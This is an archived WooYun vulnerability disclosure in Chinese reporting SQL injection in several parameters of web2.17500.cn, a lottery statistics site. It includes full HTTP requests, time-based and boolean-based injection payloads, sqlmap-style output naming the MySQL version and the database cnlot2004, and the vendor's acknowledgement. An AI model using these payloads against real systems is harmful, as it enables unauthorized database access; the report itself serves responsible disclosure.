乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-11: 细节已通知厂商并且等待厂商处理中 2015-05-16: 厂商已经确认,细节仅向厂商公开 2015-05-26: 细节向核心白帽子及相关领域专家公开 2015-06-05: 细节向普通白帽子公开 2015-06-15: 细节向实习白帽子公开 2015-06-30: 细节向公众公开
233
1.参数q1,q2POST /3d/3Dallresult.php HTTP/1.1Content-Length: 505Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: web2.17500.cnCookie: PHPSESSID=4kfc3k93kgcg4st491mmadv145Host: web2.17500.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*submit=%b2%e9%bf%b4%cd%b3%bc%c6%b1%ed&action=submitted&action1=%b0%d9%ce%bb&action10=%b4%f3%d0%a1&action11=%b4%f3%d6%d0%d0%a1&action12=%d6%ca%ba%cf&action13=012%c2%b7&action14=%b0%bc%cd%b9&action2=%ca%ae%ce%bb&action3=%b8%f6%ce%bb&action4=%ba%cd%d6%b5&action5=%ba%cf%d6%b5&action6=%bf%e7%be%e0&action7=%c1%ac%ba%c5&action8=%b3%c9%b6%d4&action9=%c6%e6%c5%bc&q1=2015092&q2=20150932. 参数issueGET /3d/p3_showpub.php?issue=if(now()%3dsysdate()%2csleep(0)%2c0) HTTP/1.1X-Requested-With: XMLHttpRequestReferer: web2.17500.cnCookie: PHPSESSID=4kfc3k93kgcg4st491mmadv145Host: web2.17500.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*payload:issue='XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/issue='XOR(if(now()%3dsysdate()%2csleep(3)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/3.参数idGET /800/nr2.php?id=47881%20AND%203*2*1%3d6%20AND%20370%3d370 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: web2.17500.cnCookie: PHPSESSID=4kfc3k93kgcg4st491mmadv145Host: web2.17500.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*payload:id=47881%20AND%203*2*1%3d6%20AND%20370%3d370id=47881%20AND%203*2*2%3d6%20AND%20370%3d370
Parameter: q2 (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: submit=%b2%e9%bf%b4%cd%b3%bc%c6%b1%ed&action=submitted&action1=%b0%d9%ce%bb&action10=%b4%f3%d0%a1&action11=%b4%f3%d6%d0%d0%a1&action12=%d6%ca%ba%cf&action13=012%c2%b7&action14=%b0%bc%cd%b9&action2=%ca%ae%ce%bb&action3=%b8%f6%ce%bb&action4=%ba%cd%d6%b5&action5=%ba%cf%d6%b5&action6=%bf%e7%be%e0&action7=%c1%ac%ba%c5&action8=%b3%c9%b6%d4&action9=%c6%e6%c5%bc&q1=2015092&q2=2015093' AND 9465=9465 AND 'FRxL'='FRxL Type: AND/OR time-based blind Title: MySQL > 5.0.11 OR time-based blind Payload: submit=%b2%e9%bf%b4%cd%b3%bc%c6%b1%ed&action=submitted&action1=%b0%d9%ce%bb&action10=%b4%f3%d0%a1&action11=%b4%f3%d6%d0%d0%a1&action12=%d6%ca%ba%cf&action13=012%c2%b7&action14=%b0%bc%cd%b9&action2=%ca%ae%ce%bb&action3=%b8%f6%ce%bb&action4=%ba%cd%d6%b5&action5=%ba%cf%d6%b5&action6=%bf%e7%be%e0&action7=%c1%ac%ba%c5&action8=%b3%c9%b6%d4&action9=%c6%e6%c5%bc&q1=2015092&q2=-8178' OR 7729=SLEEP(5) AND 'AMmE'='AMmE---back-end DBMS: MySQL 5.0.11available databases [1]:[*] cnlot2004
~~过滤不能解决问题!
危害等级:低
漏洞Rank:3
确认时间:2015-05-16 08:12
谢谢提供的漏洞信息,我们仔细查查。
暂无